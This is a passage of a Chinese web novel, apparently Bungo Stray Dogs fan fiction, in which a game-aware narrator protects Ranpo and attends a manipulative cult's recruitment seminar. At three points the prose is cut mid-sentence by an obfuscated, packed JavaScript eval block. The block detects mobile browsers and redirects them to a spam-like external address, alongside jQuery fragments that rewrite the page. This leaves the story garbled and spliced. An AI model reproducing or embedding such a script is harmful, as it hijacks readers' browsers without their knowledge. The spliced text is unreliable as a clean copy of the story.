“对社长来说,或许是那样的吧,”镰泷听见从自己喉咙里发出来的声音,比想象中还要大,“但是对我来说,社长不光是上司,更是重要的恩人。” “正因为如此,即使今天会被社长辞退,我也绝不能坐视不管。” 社长的表情,比起被冒犯,更接近于困惑,“镰泷,你到底想要我做什么?” “我希望社长能照顾好自己,”镰泷说,“升学考试,或者公司的事情,都无所谓,那是社长自己的选择,但是住在这样的地方,一天打十份工,随便地应付三餐,这不是正常人的生活方式。” 社长的表情看起来更加茫然了。 镰泷叹了口气,“您现在的生活方式不健康,更没有幸福可言。” 他直视着社长的眼睛,“我希望您能普通地获得幸福。” “……不会一直这样。”沉默已久的社长,终于开口,“理由我没办法告诉你,但是,在春天之前,就会结束的。” “您能和我约定吗?” “嗯,我保证。” 得到了承诺的镰泷,终于松了一口气,露出了笑容,正因为知道社长不是那种无谓约定的人,他才能放心。 “既然已经来了,那就请您顺便放我进去,至少能为您收拾一下房间,做点热食……”话还没说完,他就被一股超乎想象的大力推了出去,木门贴着鼻尖,毫不留情地被甩上。 “你太啰嗦了,镰泷。”社长冷酷无情的声音隔着薄薄的木门传过来,“这里没有需要你的地方,你可以走了。” 这样说着的社长,嘴里发出了驱赶小动物一般的嘘声。 又变回平时的社长了。 终于安下心的镰泷,坚信社长会履行约定,重新投入到基金会的事务当中。 然而,不知为何,春天好像比想象中更加漫长。 今天,到底是第几个三月三十一号? 就像循环往复的指针,不会翻页的日历,恍惚地重复着的一天天,每次镰泷打开手机,总觉得忘记了很重要的事情,然而一切明明都在依照日程进行。 社长,还不能获得幸福吗? 那只是一个微不足道的NPC,在停滞的存档里,每天被重置的微小祈愿而已。 然而,所谓奇迹,或许正是由无数微小的祈愿所汇聚成的蝴蝶效应。 当终于接到社长的电话的时候,镰泷不知为何,有种恍若隔世的如释重负。 就像世界终于开始重新转动,度过的时间终于有了意义。 听着听筒里社长里久违的声音,他甚至有种落泪的冲动。 然而,这种冲动,很快就被别的东西替代。 “其实我这里有个人,需要你帮忙审讯一下。”社长的声音一如既往的冷淡而听不出情绪。 “审讯。”镰泷茫然地重复了一遍这个词。 谁?我吗。 不是,社长,我们是清清白白的正经企业啊,在下二十多年的人生连只鸡都没杀过,突然让你肩不能挑手不能扛的文职秘书去审讯别人,是不是有点强人所难了? “是,有什么问题吗?”听筒的那边,社长的声音是那么理所当然。 作为完美的秘书,审讯这种事情当然也不在话下。 秘书包袱很重的镰泷,完全做不到拒绝自家社长的这种合理请求,心一横眼一闭,硬着头皮说出了那句,“不,没有问题。” 挂掉电话的瞬间,他顿悟了什么,对着公寓的夜景落地窗,无框眼镜的镜片上,白光一闪,深沉道,“社长终于要把这座城市收入囊中了吗?” 他转身,在书桌前坐下,打开电脑,《横滨地下世界制霸计划7.0》,启动! 7. 第 7 章 镰泷做事情很利索,大概打完电话后十五分钟,隶属GSS的厢式货车就停在了警校后的小巷里。 与此同时,游戏地图上,距离我不近不远的距离,出现了三个象征着友方的绿色标点。 我打开队友列表确认了一下他们的异能和属性,战斗,潜行,法师,一应俱全,是没什么可担心的精英小队,应付这种初级任务绰绰有余。 将注意力放回现场,我尽量简洁地和坐在副驾驶上的负责人交代了情况,出乎我的意料,这个负责人我认识,这家伙是GSS的高层干部,在GSS内乱期间,我和他见过几次,是个相当有实力的异能者。 我没想到,像审问一个普通学生这样的小事居然会由他负责,说实话有点兴师动众,果然,不是我的错觉,镰泷对我的事情老是关心过度,不过,做事认真负责正是他的优点,所以我也没说什么。 此外,不知道是不是我多心了,在和我说话的时候,GSS的干部一脸如临大敌,好像很紧张。 可能是在操心组织里的事情吧,我没太放在心上。 对于GSS,除了资金上的挟制以外,我基本上对他们采取放养政策,在主线剧情里,他们是早晚会被消灭的组织,我没打算对他们投入太多的心力。 在组织灭亡的时候捞几个好用的异能者扩充一下私人武装就好,我是这么想的。 安排完一切,回去找乱步君,他的眼睛已经睁不开了,靠在货架上,头一点一点的,基本上是已经睡着的状态。 我盯着看了一会儿,尽量轻柔地摇晃他,小声说,“乱步君,别在这种地方睡,我带你回宿舍吧?” 他昏昏沉沉地抬起脑袋,看了我一眼,发出含糊不清的答应声,然后张开手,维持着这个动作,头一歪,彻底睡死了。 我目瞪口呆,对着空气手忙脚乱地比划了一会儿,还是犹豫着将他张开的双臂搭在我的肩上,把他背了起来。 明明吃了那么多零食,乱步君还是轻得吓人,这让我在走路的时候频频回头,很害怕他就这样突然从我的背上消失了,我还茫然不知。 凭借着满级的数值,和对宿舍地形的了解,我很轻松地躲开了舍监的巡查,进入了乱步君的寝室。 警校的宿舍通常是双人间,乱步君却是一个人住,我知道,这并不是某种优待,而是因为,乱步君在这里受到了排挤。 那个叫作三岛的学生,说了很多无谓的废话,有一件事情却没有说错。 乱步君在学校里遭受了严重的霸凌。 因为他的父亲和警校的校长是熟人这层关系,这种霸凌还没有上升到肢体冲突,然而,对于一个心智尚不成熟的少年来说,言语和氛围上的排挤,已经足够恶劣了。 至少,没有人愿意和一个能无所顾忌地说出自己隐藏秘密的人深入交往。 我微微出神地思考着,把乱步君放在他的床上,给他换了衣服,拿热毛巾擦了擦脸和手脚,盖好被子,看了他的睡颜大概一小时左右,之后又拍了拍宿舍的照片。 做完这一切,躺在宿舍另一张空床上,闭上眼睛时,天已经快亮了。 我并不是不累,只是精神上的亢奋,让我没有睡意。 就连这样的感觉,对我来说也是新奇的体验。 以前的我在体力条即将消耗殆尽时,感受到的只有仿佛用钢锯磋磨大脑般的疲惫,而现在居然连辛苦都变得可爱,真是不可思议。 我勉强睡了几个小时,就被警校的起床铃吵醒了。 回头一看,邻床的乱步君正把被子高高举过头顶,抗拒地蜷缩成一团。 他昨天睡得太晚了,现在起不来,也是情理之中。 我轻手轻脚地爬下床,凑到他身边,摇了摇他。 “乱步君,早上了,”我轻声对他说,“舍监很快就会过来查床,你要留在这里,还是和我一起走?” 我知道,我这话说得很卑鄙,像是给出了选项,其实却只有一个答案。 果然,乱步君把睡得毛茸茸的脑袋从被子里探出来,眯着眼睛看了我一会儿,信赖地朝我的方向张开了手臂。 就像昨天晚上一样。 我兴高采烈地把他背起来,就像从女巫眼皮子底下,从高塔上偷走公主一样,轻车熟路地避开了早上的人群。 出门前就联系过司机,低调的保姆车安静地等候在学校后的巷子里。 我把乱步君塞进车,自己也上去,紧挨着他坐下。 平时打工住的那间廉租公寓,当然没办法带乱步君回去,所幸,我在横滨市内还有多处房产。 随便报了离得比较近的一处高层公寓的地址,得到指示的司机立刻悄无声息地启动了车子,平稳地滑进了早高峰的车流里。 许久没造访的公寓被每日保洁打扫得一尘不染,连床品都是崭新的,抵达时,乱步君依然睡得很沉,我把他放到主卧的床上,滑开手机,查看镰泷一早就发给我的资料。 没开灯的房间里,屏幕将我无表情的脸照得雪亮,瞳孔倒映出一行行字句,我飞快地阅读着资料。 正如我之前所料想的那样,大概半年之前,圣天锡杖的教主悄无声息地换了人。 新任教主天照院仁,他的脸和我记忆中一模一样,正是那个特殊游戏周目里,圣天锡杖的教主。 根据资料里的描述,自他上任之后,圣天锡杖的经营模式发生了较大的改变,和之前不加分辨地在普通人面前施展异能力伪装成的“神迹”不同,天照院仁显然对传教对象的用户画像做了深入而细致的划分。 他主要瞄准了两类人群,一种是在社会中经历挫折,生活过得相当不如意的边缘人士,另一类,则是有钱有势的上等人。 对于前者,他致力于宣传社会规则的不平等,编造了一套极具煽动性的话术,主要通过心灵修行来巩固信徒们的信仰。 而对于后者,他似乎采用了更加隐秘而具备冲击性的应对方案,具体是什么还不得而知,只知道这件事在横滨的上流社会口耳相传,似乎事关“预言”,而亲眼见过的人,都成了圣天锡杖的狂热信徒。 他们眼睛也不眨地为这个宗教组织献上大量的“捐款”,听说涉及的现金流已经上亿,而这些,只是为了获得某种内部仪式的入场券,成为教主的座上宾。 昨天出现在乱步君眼前的那个三岛,他的父亲,正是这群狂热信徒中的一员。 作为一个富二代公子哥,三岛没受过什么训练,在昨晚的审问中,他根本没撑过十分钟,就一股脑地全部交代了。 不过,他知道的也不多,报告上记录了昨晚跟随父亲前去谒见时,和教主的谈话。 “三岛桑,您的次子,现在是在警察学院就读?” “是,”三岛印象中说一不二的严厉父亲,在那个年轻的教主面前,点头哈腰,就像是某种服从性测试一般,位于地下的闷热和室内没有开冷气,父亲紧张地拿手帕擦拭着额上的汗珠,在莫名清爽的教主面前,更显出凡夫俗子的模样,“他没有经商的天赋,这也算是一种出路。” “不必那么紧张。”教主轻笑一声,披在头上的洁白圣袍遮挡了他的大半面孔,布料垂坠间,三岛感觉到,那双仿佛洞悉一切的金色眼睛,隐约落在自己的身上,“只是有些事需要他帮忙。” 教主的话只说到一半,就被自怀中传来的尖锐的啼哭声打断,在耳朵捕捉到那声音的一瞬间,三岛感觉到一种难以言说的恐惧。 他无法确切地形容那种声音,骇人的、亵渎的叫声,如同要将灵魂都撕裂一般的刺耳,如果一定要用已知的语言来复述的话,那是这样的声音:“Tekeli-li! Tekeli-li!” 尽管谁都没有提出异议,但在诡异的沉默中,没有人能够忽视如同钢刀一般那个声音,它恶狠狠地插入一切理性的对话,凌迟着所有人的神经。 大概只有一个人除外。 教主低下头,神情满怀爱怜,轻声呢喃着谁也听不懂的语言,安慰怀中白色襁褓内那个东西,仿佛他怀里的,真的只是一个牙牙学语,值得他悉心照料的幼子一般。 在惊骇又莫名移不开视线的一瞥中,三岛看见一小团挣动的,黑亮而无定形的胶质,仅是一眼,他就飞快地移开了视线——那是铭刻在生物本能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483307|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的,对强大猎食者的恐惧。 绝对不能对上眼睛。 明明坐在那里,视线内却只能看到颤抖的地面,慢了一秒才意识到,抖动的不是地板,而是自己的身体。 像是要疯了一样,连动都不敢动一下,仿佛只要轻举妄动,就会被深沉蠕动的黑暗所吞噬。 他至今无法确定,那东西到底是什么。 只有一点他可以确当——那绝对不是人类。 “不好意思,”仿佛被教主的举动所安抚,那叫声终于渐渐平息,教主饱含歉意地抬起脸,向客人们微微点头,语气中甚至暗含一些甜蜜的烦恼,“这孩子有些任性。” 没有人敢说什么。 然而,教主笑意盈盈地望着他们,仿佛在等待着什么,三岛后知后觉地意识到,那是一种没有说出口的训诫。 ‘要好好回答我的吧?’ 那个笑容里包含着的,是这样的潜台词。 “哪、哪里的话,”三岛听见父亲打着磕巴的声音,“您为我们抽出时间,我们已经很感激了。” 教主挂着虚假的笑容,淡然地点了点头,“你们不在意就好。” 他的视线重新落回三岛的身上,重新提起刚才被打断的话题,“你们学校里,是不是有个叫江户川乱步的孩子?” 三岛战战兢兢地点点头,“是的。” 乱步是学校里的名人,当然,这种出名,并非是正面意义上的,然而对于三岛而言,乱步不仅仅是认识的人这种程度,确切地说,他和乱步有些过节。 三岛有在柏青哥上挥霍金钱的习惯,说严重点,就是成瘾,某次在警校的教官面前,这一恶习被乱步波澜不惊地揭穿了。 “如果想隐瞒的话,不是应该做得更巧妙一点吗?”面对大动肝火的三岛,乱步一脸的莫名其妙,“现在这样的话,不管是谁都看得出来吧?” 几乎要不管不顾地一拳挥上去的三岛,被在场的同学们手忙脚乱地拦了下来,之后更是因为这一事件被教官叫走,进行了相当严厉的指导谈话。 “你还是绕着他走吧,那小子有点邪门的。” 事后仍然愤愤不平的三岛,找到了平时玩得比较好的同学,想要唆使他们一起去找乱步的麻烦,然而平时一呼百应的他,在一片面面相觑的氛围之后,却从朋友那里得到了这样的回答。 “那是什么意思?” “之前有高年级的前辈,想找那小子的麻烦,听说直接被当场开盒到社死了。”朋友同情地拍了拍他的肩膀,好心劝慰道。 “而且他的父亲好像和校长是旧识,我知道三岛有些关系,但在这所学校里,如果闹大了,你也不一定能全身而退。” 一生都是关系户的三岛,平生第一次在人情这种事情上吃瘪,从此看到乱步,就总是恨恨的,却又无可奈何。 这些事,在教主面前,他当然是不敢说的,灵魂还在为那异常的一瞬间而战栗,在不清楚乱步和教主具体关系的情况下,他只能小心翼翼地察言观色的份. 所以此刻,他只是规规矩矩地应“是”。 “我有些重要的东西存放在那孩子那里,能带他来见我吗?”明明什么也没有说,教主却仿佛知道了一切,看着他的眼睛,刻意补充道,“态度要客气一些。” “好、好的。”三岛结结巴巴地答应着,由于太害怕把事情搞砸,犹豫了一下,还是硬着头皮请示,“那位江户川,性格有些与众不同,我和他也没有那么熟识,只是普通地邀请的话,我不敢保证他会赴约。” 话一出口,三岛就感觉到,来自跪坐在身侧的父亲的,满怀不满的一瞥。 与之相反,教主似乎并不觉得他的话有什么不妥,甚至轻笑出声,“是啊,那也是个相当任性的孩子啊。” 那语气中,甚至有种长辈般的无可奈何。 他沉吟片刻,轻笑着抬起头,“这样吧,你就这么和他说。” “你也觉得,那不是意外事故吧?” 不知为何,教主的笑容里,有种令人恐慌的,恶魔般的笃定。 “这样的话,他就一定会来见我吧。” 8. 第 8 章 非常不愉快。 要说阅读完三岛回忆后的感想,我只能这么形容。 对之前心存侥幸,希望一切都只是巧合的自己感到唾弃,这整个事件,毫无疑问是一场针对乱步君的阴谋。 在做出这样的判断后,指甲不自觉地深深刺入了掌心,我强压下烦躁的感觉,耐着性子把报告剩余的部分看完。 剩下的内容没有什么特别出乎意料的东西,唯一引起我注意的,是报告末尾,镰泷的谢罪和请愿。 他似乎对于没有调查清楚圣天锡杖和那些不得了的大人物之间的具体交易内容而耿耿于怀,希望亲自以基金会高层的身份与他们接触,弄明白那部分被极力隐藏的内容。 【没有必要。】 我在对话框里打下这行字。 会做出这种判断,是因为我自认为,已经知道了交易的具体内容。 那是我从过去的游戏周目中所获得的情报,具体说起来,其实很无聊。 不过是常见的屠龙者终成恶龙的故事。 执着于某个邪教组织的前刑警天照院仁,在经历了一系列沉重打击之后,决定修正这个错误的世界。 他成为了圣天锡杖的新任教主,利用那个至今仍有残党在活动的邪教组织的犯罪计划,佐以一些致幻剂,使那些达官贵人相信了所谓的“末日预言”,并借此高价出售末日方舟的船票。 付出沉重代价的东西更加可信,他巧妙地利用这种心理,将作为信物的锡杖护身符,卖出了三千万日元的天价。 如果他的目的只是求财的话,我们之间或许还有交涉的余地吧。 但很不幸,他所追求的,并不是这种肤浅的东西,财富不过是他用来对这个辜负过他的世界复仇的一种手段而已。 话虽如此,这些也只不过是阅读这份报告之前的想法罢了。 “我有些重要的东西存放在那孩子那里”,这是他的原话。 然而我完全想不通,他想要从乱步君身上获取些什么。 这是无论在哪周目游戏中都未曾发生过的剧情,基于这种偏差,我已经得知的那些情报,也突然变得可疑了起来。 本来不想把毫无自保之力的镰泷牵扯进来的,然而此时,我或许已经因为事情偏离掌控,而恐惧得发疯了吧。 我的手指悬在信息发送键上,犹豫了一下,又收了回去,将那条【没有必要】一个字一个字地删除掉。 【注意安全,必要时调遣GSS进行护卫。】 取而代之,我将这行字打进对话框里,点击发送。 几乎是一瞬间就收到了回复。 【社长才是,千万不要一个人逞强!请务必保护好自己。】 这家伙不用睡觉吗? 漫无边际地想着这样的事情,我将身体后仰,瘫坐在客厅的沙发上,呆呆地望着天花板。 总觉得,有违和感。 一字一句地回忆着报告里三岛的供述,他所描述的那个教主。 仿佛无所不知一般,举手投足都散发着强烈的神秘感,魔性的男人。 天照院仁,是这样的形象吗? 话虽如此,我也从来没有实际见过本人,过去也只是从文字里了解事态,像这种第二手资料,根据讲述者的视角的不同,有着微妙的偏差也很正常。 但总觉得,心里隐隐不安,好像忽视了什么重要的因素。 在某种东西呼之欲出之时,“咔哒”,门把手转动的声音打断了我的思绪。 我循着声音望去,站在敞开的卧室门后面的,是穿着睡衣,睡眼惺忪的乱步君。 “不再多睡会儿吗?” “睡饿了,我要吃东西。”乱步君理直气壮地说。 “好的,想吃什么呢?”一边说着,我一边打通了在附近待机的佣人的电话。 乱步君“踢踏踢踏”地踩着拖鞋走过来,从我手中抢走手机,开始毫不客气地点菜。 我在一边默默记着他现在的口味,在他心满意足地交还电话时,对着听筒另一边吩咐,“听到了吧?按照他说的去准备。” 在得到恭敬而肯定的回复后,我安心地挂断了电话,却注意到,乱步君正盯着我看。 “怎么了吗?” “你自己不点吗?”他问。 我恍然大悟,“放心吧,乱步君,我不会和你抢饭吃的。” 我看了眼自己的物品栏,99个饭团,储备很充足,“我吃饭团就可以。” “喜欢你这种人的家伙还真辛苦啊……”他微微皱起一边的眉毛,小声嘀咕道。 我读不懂他脸上纠结的神色,于是只是一厢情愿地告白,“没关系,我喜欢乱步君就可以。” 他敷衍地答应了一声,跳过了这个话题,转而说起了圣天锡杖的事情,“那么在意那个教主的事情的话,去见他一面不就好了吗?” 明明没有提起过,却精准地说出了我心中的烦恼,我不禁双眼放光地看着他,“好厉害,乱步君。” “这种程度是理所当然的啦。”虽然这样说,但乱步君显然很得意。 萌萌。 “不过,恐怕不行呢。”我遗憾地拒绝了他。 “为什么?”乱步君立刻从沙发上跳了起来,大声抗议,“我也想见那个大叔,我有想从他身上知道的事情。” “太危险了。”我就是害怕这种情况,虽然我基本上是希望乱步君能过上随心所欲的人生,但涉及到安全的话,就另当别论,“之后当然会让乱步君见他的,但不是现在。” 我回忆着报告中三岛所目击的状况,脸色阴沉。 天照院仁,本身就是掌握着超乎一般人想象的力量的危险分子,既不是异能力,也不是武术,而是更加疯狂,更加混沌的力量。 魔法。 更不用说,他现在似乎还掌控着名为“修格斯”的神话生物。 那是绝对非理性的怪物,普通人毫无准备地看上一眼,就有可能发疯。 我唯独无法容忍这样的事情发生在乱步君的身上。 然而,听到我的话语,乱步君双手叉腰,却露出了早有准备的爽朗笑脸,“这个啊,不用担心。” “只要准备他绝对无法对我们出手的场景就可以了。”他自信满满地说,将一张不知道从哪里掏出来的,皱巴巴的纸塞到了我的手里。 我茫然地接过,展开一看,发现那是一张广告宣传单。 “圣天锡杖宣讲会?”宣传单上印刷着满脸幸福,幸福到让人觉得有些可怕的男女的人像,最顶端用醒目的彩字写着充满煽动性的内容。 【敬启: 在这个快节奏、充满挑战的世界里,我们每个人都可能在某个时刻感到迷茫或停滞不前。 您是否在职场上感到迷茫,想要转行却不知从何开始?经历了一段艰难的时期,您是否感到焦虑或抑郁?面对技术的快速发展,您是否觉得自己的技能需要更新?您是否在生活与工作的平衡中陷入了困境?您是否感到孤独,渴望建立新的社交联系? 您不是孤身一人,现代社会,许多人都面临着类似的困境,但请记住,每个人都的人生都拥有重启的机会,每一次挫折都是成长的机会。 我们,圣天锡杖,致力于帮助您发掘内在潜力,重启人生旅程,成为更好的自己。 没有那些千篇一律却收效甚微的心理辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你要是不愿意的话,我就自己去,”他看着我的眼睛,斩钉截铁地宣布,“如果是我的粉丝的话,就应该知道吧?就算你想方设法把我软禁起来,我也总能找到机会的。” “软、软禁?”这个过于大胆的词让我脸红心跳,错愕地盯着乱步君,慌乱地解释,“我没有想限制乱步君的自由……” “哦。”虽然是这么回答了,但是那张脸上的表情,怎么也不像相信我的样子,他有些神气地,就像每一次拆穿犯人的阴谋那样充满自信地说,“哼哼,我已经找到衣柜后面的那个房间了。” 这话让我冷汗涟涟,那是我刚买这栋公寓的时候一拍脑门布置的密室,然而仅从外观来看,只有一张铁架床和卫生间,或许确实更接近于囚室也说不定,乱步君会有这样的误解也是情有可原的。 “那、那个是cosplay啦,就是纳〇亚传奇,还没装修好看起来才是这个样子的……”我语无伦次地辩解着,自己也不太相信自己的话,说到一半就气馁地低下了头。 为什么会变成这样呢?我闷闷不乐地思考了一会儿,顶着乱步君充满了不信任的眼神,勉强说,“我知道了,我会和乱步君一起去的,但是乱步君也要答应我。” 我抬起眼睛,祈求般地看向乱步君,“如果真的有危险的话,一定要听我的,立刻逃跑,这样可以吗?” 乱步君观察着我的神色,有那么一瞬间,我觉得他的表情冷静到近乎冷酷,但是这种乱七八糟的想法很快被我打消了,毕竟,乱步不是这样的角色嘛。 “成交。”他说,把我放在膝盖上的手举起来,我不明所以,但还是乖乖照做。 他的手掌“啪”地和我的掌心轻拍了一下。 我的眼睛一下瞪大了,呆呆地看着自己的手掌,那温热的触感仿佛挥之不去,我后知后觉地意识到,那是一个击掌。 但是,为什么要这么做呢? 我感到困惑,茫然,还有一种我不明白是什么,但是很不坏的东西。 我现在的表情大概很傻吧,看着我的样子,虽然不知原因,但乱步君长长地叹了一口气,“你真的不聪明哎。” 他这样评价道。 9. 第 9 章 大概是为了照顾上班族,圣天锡杖的宣讲会定在晚七点开始。 由于提前打电话咨询过的原因,穿黑色西服套装的前台小姐在见到我们的瞬间,脸上就露出了了然的神色,大概会来这种地方的未成年人实在不多,所以很让人印象深刻吧。 即便如此,她也没有怠慢,向我们露出标准的职业笑容,说,“请跟我来。” 她把我们引到一间类似于大会议室的房间里,说实话,这地方布置得实在简朴,没有多少宗教气息,反而更像寻常的商业宣讲会。 白色的乳胶墙上贴了一些类似于“超越自我,重塑人生”、“发现你内心的强大”的标语,刻意设置过的室内灯光柔和,广播反复播放着一首舒缓的纯音乐。 我们到得有点早了,会场里只稀稀拉拉地坐了两三个人,我和乱步君在靠后的位置坐下,等待在房间后侧的工作人员立刻走过来,给我们送上了茶水。 大概是晚饭吃了太多甜点,有些发腻,乱步君毫无防备地将茶杯送到了嘴边。 我低头看了一眼杯中绿色的茶汤,许久不见的游戏系统突然运作起来。 【观察 1D100 33/75 检定成功】 伴随着检定成功的字样,视野内大段的文字如同泄洪般争先恐后地涌出,详尽地描写了这杯茶如何诡异得像神话生物的泡澡水。 我经验丰富地从茶杯上移开视线,防止可能发生的sancheck,同时不忘挡了乱步君一下,“这东西好像有点糟糕。” “没关系啦,茶里没有下料。”乱步君大大咧咧地说,丝毫不顾及四面看过来的诧异视线。 “这个世界上可以加进茶水里的东西可不止药物。”我有些犹豫,但还是决定坦诚相告,“虽然乱步君很聪明,但对于超自然之类的,不太了解吧?” 这句话有效地制止了乱步君的行为。 “超自然?”翠绿的眼睛睁开,闪闪发光,紧盯着我的脸,显然对这个话题非常感兴趣,“真的存在?” 我简短地扫视了一下四周,感受到不少目光,不动声色地结束了话题,“回去再说吧。” 我突然意识到,就在我和乱步君说话的短暂时间里,原本稀稀落落的会场,居然已经坐满了人。 和我之前的猜测差不多,前来参加宣讲会的人,除了我们之外都是成年人,人员构成以上班族为主,年龄分布在二十到五十岁之间,偶尔也有几个穿着朴素的老年人。 明明是形形色色,各不相同的人,我却莫名觉得,他们看起来都差不多,观察了一会儿,我意识到让我产生这种感觉的,是他们脸上的神色。 那是一种不自觉的焦虑和疲惫,一种难以言说的迷茫,由于挥之不去,已经成为了五官的一部分,镌刻在嘴角和眼神里。 一个个穿着相似西装的佝偻身影,垮塌在铁管的简易椅子上,没有多少生气。 我觉得那样子实在很眼熟,想了一会儿,才想起到底是在哪里见过。 是一个个如同永夜般的无尽的春日里,在镜子中看到的我自己。 位于房间内侧的小门突然打开,打断了我的思绪,我的视线移过去,看见从门中走出的,穿神父服饰的中年男人。 男人的眼窝深陷,体型与其说是瘦削,不如说是干枯,凹陷的脸颊上有一种长期过劳导致的,深入骨髓的疲态,但这种疲惫,被他那双鹰隼一样锐利的眼睛遮盖住了。 然而,这些都是之后才能察觉到的事情,第一眼看过去时,能留下印象的,必然只是他脸上的烧伤疤痕。 疤痕的面积很大,一直延伸到高领神父服的下面,如今已经愈合,然而,从那触目惊心的狰狞边缘可以窥见,那曾经是怎样严重伤势。 他在门口略微停顿,扫视了一圈几乎坐满了的会场,我看见他嘴角闪过了一瞬满意的笑容,但很快就恢复了严肃的模样,略微整理了一下衣袍,走上了讲台。 人群立刻骚动起来,我听到周围的人称呼男人为“教主大人”。 仔细一看,那张脸确实是我在资料中看见的,天照院仁的脸。 但是,他是三岛供述里的那个教主吗? 刚才阅读完报告后所感受到的那种违和感,再次出现了。 我盯着站在布告台后面的天照院仁,他举起双手略微向下压了压,会场立刻恢复了安静,他调动了那张消瘦的脸上仅存的一层薄薄皮肉,牵动伤疤,挂出一个如能乐面具般不自然的和蔼笑容,清了清嗓子,开始了演讲。 “各位兄弟姐妹们,感谢百忙之中抽出时间参加今天的自我研讨会,”大概是经过专门的训练吧,即使没有佩戴麦克风,他的声音也清晰地回荡在讲堂之中,语气里有一种让人不自觉想要跟随的坚定力量,“今天会来到这里,大家的心中想必都怀抱着某些难以言说的烦恼。” “今天,我们所面对的世界,充满了所谓的‘自由’,”天照院顿了顿,缓缓说道,“当我们进入社会时,人们告诉我们,每个人都是自由的,机会平等,成功是通过努力和奋斗所得,社会的进步就是由每个人的努力推动的。” 他的语气带着一丝冷笑,“看似如此,但事实上,我们从来没有被赋予真正平等的机会。” 这有些极端的言论让会场一片哗然,然而,其中的一部分人却不由自主地前倾身体,认真地聆听着他的话语。 “每个人都拥有自由,”他没有被观众的反应干扰,继续道,“我们可以自由选择自己的道路,可以追求自己的目标,理论上,每个人都有着无限的自由。然而,这个世界,却并不是按照‘努力就能成功’的逻辑在运转的。” 天照院的声音在这一刻突然变得更为尖锐,“这个世界,充满了不公,充满了无法掌控的力量。我们所处的社会,划定了规则,并且规定了你们的角色,而我们,却甚至无法触摸到这套规则的运行逻辑。” 我感觉到,坐在身侧的乱步君在听到这话后微微一怔,不自觉地坐直了身体,我偏头看了他一眼,感到焦虑,但最终没有说什么,只是强忍着用手指微微转动着桌上留有余温的茶杯。 “而你们,在这个世界的规则下,早已被划定了位置。”天照院的声音渐渐低沉,仿佛在揭露某种深层的真相,“你们不是那些成功的‘赢家’,而是被这社会抛弃的‘失败者’。你们在这场无休止的竞争中不断失败,无法适应那些设计好的规则,而社会,却从未给过你们真正改变的机会。” 台下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483309|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骚动起来,这不留情面的话语显然刺伤了一些人,有人愤然起身,金属椅脚在地板上划拉出刺耳的声音,他大步朝出口走去,重重地甩上了门。 而更多的人,只是不知所措地坐在自己的位子上,脸上有一种被反复伤害羞辱之后才会出现的麻木神色。 “你们的失败,并不是你们的错。”天照院的声音突然变得温和,仿佛与刚才那个不留情面的家伙是两个人,“你们并没有能力改变现有的规则,因为这些规则本身就已经是偏向特定群体的。你们失败,只是因为没有适应这个体系,而这个体系,正是我们要打破的。” 这突如其来的温情甚至让一些人的眼角泛起了泪光,大概他们的一生都在等待着某个人突然走过来,像安慰野狗一样拍拍他们的脑袋,说上一句“不是你的错”吧。 我环视了周遭一圈,略感无趣地别开了视线。 “今天,你们来这里,正是为了打破这个束缚,”天照院高声宣布,目光炯炯有神,“你们是否曾想过,自己的潜力远远没有被完全开发出来?真正的自我,是隐藏在每个人的内心深处,只需要引导,便能展现出真正的力量。今天,我将为你们揭开这个神秘的面纱,让你们看到自己内心的光芒!” 我注意到,不知从哪一部分开始,乱步君就没精打采地缩回了座椅上,他大概已经意识到,这些话不过是社会中无数“自我提升”话术的一部分。 但是,注视着乱步君三十个周目的我能明白,他在寻找的,究竟什么东西。 他只是希望有人能来戳破那层幻影,把这个世界一直以来令他感到困惑的那一面解释清楚而已。 但是大概,没有人能够做到。 因为那本身就是虚假的幻影,是由谎言构成的围墙,在伤害他的同时,也的确保护着他。 “现在,我们为你们准备了一份特别的礼物,帮助你们真正突破困境,走向崭新的未来,现在请排成一队……” 讲台上,教主的演说仍然在继续,然而,我们的心思大概都已经不在这里了。 我跟随着乱步君的目光,环顾了一圈会场,世上的人脸上,是如出一辙的狂热与空洞。 即使在这群所谓的,不被主流接受的人里,他大概也依旧感到格格不入,仿佛哪里都没有能够接纳他存在的地方。 我会这么觉得,是因为一定要说的话,我也是这样。 在能够进行合理的思考之前,我已经伸出手,抓住了乱步君的手臂。 他回过头,诧异地看向我,刻意回避那充满疑问的视线,我只是拽着他,穿过狂热的人群,向队伍的前列大步走去。 “别想那么多,乱步君。” 我笔直地看着前方,用身体作为屏障,撞开拥挤的人流。 “既然这个世界下定决心要对你装傻,那就干脆把大家都当成傻瓜吧,”话说到这里,我终于有勇气回头,“只要没有人跳出来拆穿,那这谎言就永远都是真实。” 人群嘈杂,我在拥挤的世界里提高嗓音,只和乱步一个人说话。 “你不妨看看,这个世界能配合你演出到什么程度。” 因为。 “世界是属于我的。”我用无比确信的语气,不无骄傲地说。 10. 第 10 章 “下一位请往前。”属于工作人员礼貌但冰冷的声音打断了我们的对话。 抬起头,才发现不知什么时候,我们已经到了队伍的最前列,周围的人都在看着我们,我把乱步君挡在身后,阻隔掉一张张不理解的脸。 只有天照院仁微笑地站在人群的终点,仿佛对一切都视若无睹,只注视眼前的信徒,而此时,这个信徒就是我。 